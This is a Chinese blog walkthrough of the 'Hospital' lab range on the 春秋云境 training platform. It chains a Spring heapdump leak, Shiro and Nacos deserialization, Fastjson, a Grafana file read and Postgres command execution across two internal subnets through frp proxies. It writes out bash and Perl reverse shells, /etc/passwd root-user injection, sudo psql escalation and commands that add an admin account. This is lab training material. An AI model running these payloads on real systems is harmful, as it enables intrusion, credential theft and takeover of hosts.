没有域，但是有多层内网网段，第一次接触到了多级代理的搭建，学习~

春秋云境-Hospital

Spring heapdump泄露利用

1	`.\fscan64.exe -h 121.89.214.179 -p 1-65535`

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
(icmp) Target 121.89.214.179  is alive
[*] Icmp alive hosts len is: 1
121.89.214.179:22 open
121.89.214.179:8080 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://121.89.214.179:8080 code:302 len:0      title:None 跳转url: http://121.89.214.179:8080/login;jsessionid=AAAF5480340C3E9D9BEAA4864D029117
[*] WebTitle: http://121.89.214.179:8080/login;jsessionid=AAAF5480340C3E9D9BEAA4864D029117 code:200 len:2005   title:医 疗管理后台
[+] http://121.89.214.179:8080 poc-yaml-spring-actuator-heapdump-file

poc扫出来了个spring的heapdump信息泄露

访问/actuator/heapdump下载下来heapdump

heapdump_tool不是很好用，改用JDumpSpider直接梭。https://github.com/whwlsfb/JDumpSpider/releases

1	`java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt`

翻到个ShiroKey

同时jsessionid=xxx也是Shiro明显的特征

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CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

shiro反序列化RCE

用工具直接利用，这里不需要勾选AES-GCM

高版本才需要勾选AES GCM

app用户，估计还是要提权，反弹个shell先

不能直接弹shell，那就先注入内存马，再弹

反弹shell报错，刚才不能直接弹应该是这个原因

1	`ls -al /bin/sh`

可以看到/bin/sh指向dash，而我们使用的shell环境为bash，网上找了个解决方案->换下面这个payload

1	`bash -c "bash -i >&/dev/tcp/vps-ip/7777 0>&1"`

接下来就是打提权了

vim.basic提权

看一下suid

1	`find / -perm -u=s -type f 2>/dev/null`

这里第一个vim.basic就比较不常见，查一下，果然可以利用https://cloud.tencent.com/developer/article/1711865

相当于可以用root权限执行vim命令，可以查看修改文件，需要较高的交互性比较好操作，不然太烦了

重新用pwncat再接收个shellhttps://github.com/calebstewart/pwncat

1	`pwncat-cs -lp 7777`

连上之后 Ctrl + D 切换回remote环境

真帅啊

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openssl passwd -1 -salt test 1234    //生成密码
$1$test$So8QlDklBBy90T3QcEYWU/      //得到
test:$1$test$So8QlDklBBy90T3QcEYWU/:0:0:/root:/bin/bash      //构造好

然后用vim.basic写入上面构造好的payload

1	`vim.basic /etc/passwd`

wq!强制保存后，切换为test用户登录就是root权限了

1 2	`su test 1234`

1	`cat /root/flag/flag01.txt`

内网信息收集、搭建一级代理

ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.12.5  netmask 255.255.0.0  broadcast 172.30.255.255
        inet6 fe80::216:3eff:fe1a:d858  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:1a:d8:58  txqueuelen 1000  (Ethernet)
        RX packets 434616  bytes 155476382 (155.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 363912  bytes 56058555 (56.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1552  bytes 138682 (138.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1552  bytes 138682 (138.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

先回到local，再直接upload传frp和fscan上去

1	`upload 本地路径受害机路径`

扫一下内网

1	`./fscan_amd64 -h 172.30.12.5/24`


   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.30.12.5     is alive
(icmp) Target 172.30.12.6     is alive
(icmp) Target 172.30.12.236   is alive
[*] Icmp alive hosts len is: 3
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:8848 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8080 open
172.30.12.236:8009 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo:
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] NetBios: 172.30.12.6     WORKGROUP\SERVER02             
[*] WebTitle: http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=55BFFB1EE6E293A26E1673729BCA94EF
[*] WebTitle: http://172.30.12.5:8080/login;jsessionid=55BFFB1EE6E293A26E1673729BCA94EF code:200 len:2005   title:医疗管理后台
[*] WebTitle: http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle: http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[+] http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file

分析一下

172.30.12.6    WORKGROUP\SERVER02
172.30.12.236  医院后台管理平台
172.30.12.5    已拿下
没发现DC

扫出来两个nacos漏洞

代理

1 2	`./frps -c ./frps.toml // vps ./frpc -c ./frpc.toml & // 受害机`

Nacos-Client Yaml 反序列化漏洞

172.30.12.6同时也可以打Nacos-Client Yaml 反序列化漏洞，github下个现成的工具：https://github.com/charonlight/NacosExploitGUI

把AwesomeScriptEngineFactory.java里执行的命令改成加个管理员用户

正常来说应该先反弹shell的，因为不知道权限够不够创建管理员用户，但是为了节约时间，就这样吧

1 2	`Runtime.getRuntime().exec("net user hey qwer1234! /add"); Runtime.getRuntime().exec("net localgroup administrators hey /add");`

在双击生成jar.bat，重新生成jar，然后传上172.30.12.5这台机子

upload /tmp/yaml-payload.jar /tmp/yaml-payload.jar
chmod 777 yaml-payload.jar
su test
python3 -m http.server 8001

利用添加账户那个漏洞可以进后台，看到Data ID为db-config

到这里添加用户一直不成功，明天看看吧

用java1.8 的版本去编译，一定要用 java1.8 编译

利用成功后，rdp上去，翻到flag

Fastjson利用

接下来尝试去打http://172.30.12.236:8080这个医院后台管理平台

简单试了下几个弱口令，没能成功，不想爆破了，应该是不存在弱口令

抓包发现是json格式来传参，再根据题目提示fastjson

1	`172.30.12.236:8009 open`

同时这台机子的8009端口也是开放的，推测应该是打fastjson

1	`{"@type":"java.net.Inet6Address","val":"d8o6uv.dnslog.cn"}`

利用插件执行命令。发现已经是root权限

先利用插件读一下flag

用插件注入哥斯拉内存马

反弹shell到172.30.12.5

1	`nc -lnvp 2223`

1	`bash -c "bash -i >&/dev/tcp/172.30.12.5/2223 0>&1"`

另一网段信息搜集&二级代理搭建

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.12.236  netmask 255.255.0.0  broadcast 172.30.255.255
        inet6 fe80::216:3eff:fe09:3755  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:09:37:55  txqueuelen 1000  (Ethernet)
        RX packets 98109  bytes 132787096 (132.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 22810  bytes 7087368 (7.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.54.179  netmask 255.255.255.0  broadcast 172.30.54.255
        inet6 fe80::216:3eff:fe26:8b9e  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:26:8b:9e  txqueuelen 1000  (Ethernet)
        RX packets 1190  bytes 49980 (49.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1209  bytes 51446 (51.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2117  bytes 182001 (182.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2117  bytes 182001 (182.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

发现是双网卡，有另一个网段172.30.54.179/24

在172.30.12.5开启http服务方便，拥有双网卡的这个机子下载文件

1	`python3 -m http.server 8002 &`

同时创建一个frpc2.toml文件，并写入

serverAddr = "172.30.12.5"
serverPort = 7001

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 6001

[proxies.plugin]
type = "socks5"

frps.toml

1	`bindPort = 7001`

双网卡机子下载文件

wget http://172.30.12.5:8002/fscan_amd64
wget http://172.30.12.5:8002/frpc
wget http://172.30.12.5:8002/frpc2.toml

chmod 777 *

1	`./fscan_amd64 -h 172.30.54.179/24`


   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.30.54.179   is alive
(icmp) Target 172.30.54.12    is alive
[*] Icmp alive hosts len is: 2
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.179:8080 open
172.30.54.12:5432 open
172.30.54.12:3000 open
172.30.54.179:8009 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle: http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle: http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle: http://172.30.54.12:3000/login code:200 len:27909  title:Grafana

1 2	`./frps -c ./frps.toml & // 172.30.12.5 ./frpc -c ./frpc2.toml & // 双网卡机`

相当于172.30.12.5起了frps和frpc，

第一级：在我们的vps上起frps，在172.30.12.5起frpc

第二级：在172.30.12.5起frps, 双网卡机起frpc

Grafana任意文件读取

弱口令admin/admin登录

1	`172.30.54.12:5432 open`

5432端口应该是postgresql，该Grafana v8.3.0 版本存在任意文件读取可以利用，

影响版本：Grafana 8.0.0 - 8.3.0

github有现成的exp：https://github.com/A-D-Team/grafanaExp/releases

1	`./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000/`

合着这还是个前台任意文件读取

./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000/
2024/03/15 20:22:17 Target vulnerable has plugin [alertlist]
2024/03/15 20:22:17 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2024/03/15 20:22:17 There is [0] records in db.
2024/03/15 20:22:17 type:[postgres]     name:[PostgreSQL]               url:[localhost:5432]    user:[postgres] password[Postgres@123]database:[postgres]     basic_auth_user:[]      basic_auth_password:[]
2024/03/15 20:22:17 All Done, have nice day!

拿到postgresql密码Postgres@123

同时，grafana 后台还可以执行 postgres 的命令，能反弹shell，不出网只能弹到172.30.54.179

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CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

1	`nc -lnvp 4444`

当然如果没有弱口令进入后台执行语句的话，可以根据获取到的postgresql密码，远程连上去再执行语句

连上数据库后也可以改数据库的root密码

1	`ALTER USER root WITH PASSWORD '123456';`

用python提升一下交互性

1	`python3 -c 'import pty;pty.spawn("/bin/bash")'`

接下来就是提权了

sudo -l

有个

1	`(ALL) NOPASSWD: /usr/local/postgresql/bin/psql`

利用它来执行命令

sudo /usr/local/postgresql/bin/psql
\?
!/bin/bash
cat /root/flag/flag04.txt

信息安全

#春秋云境 #Nacos #Shiro #Fastjson #Grafana

春秋云境-Hospital

https://www.smal1.black/春秋云境-Hospital.html

作者

Small Black

发布于

2024年3月15日

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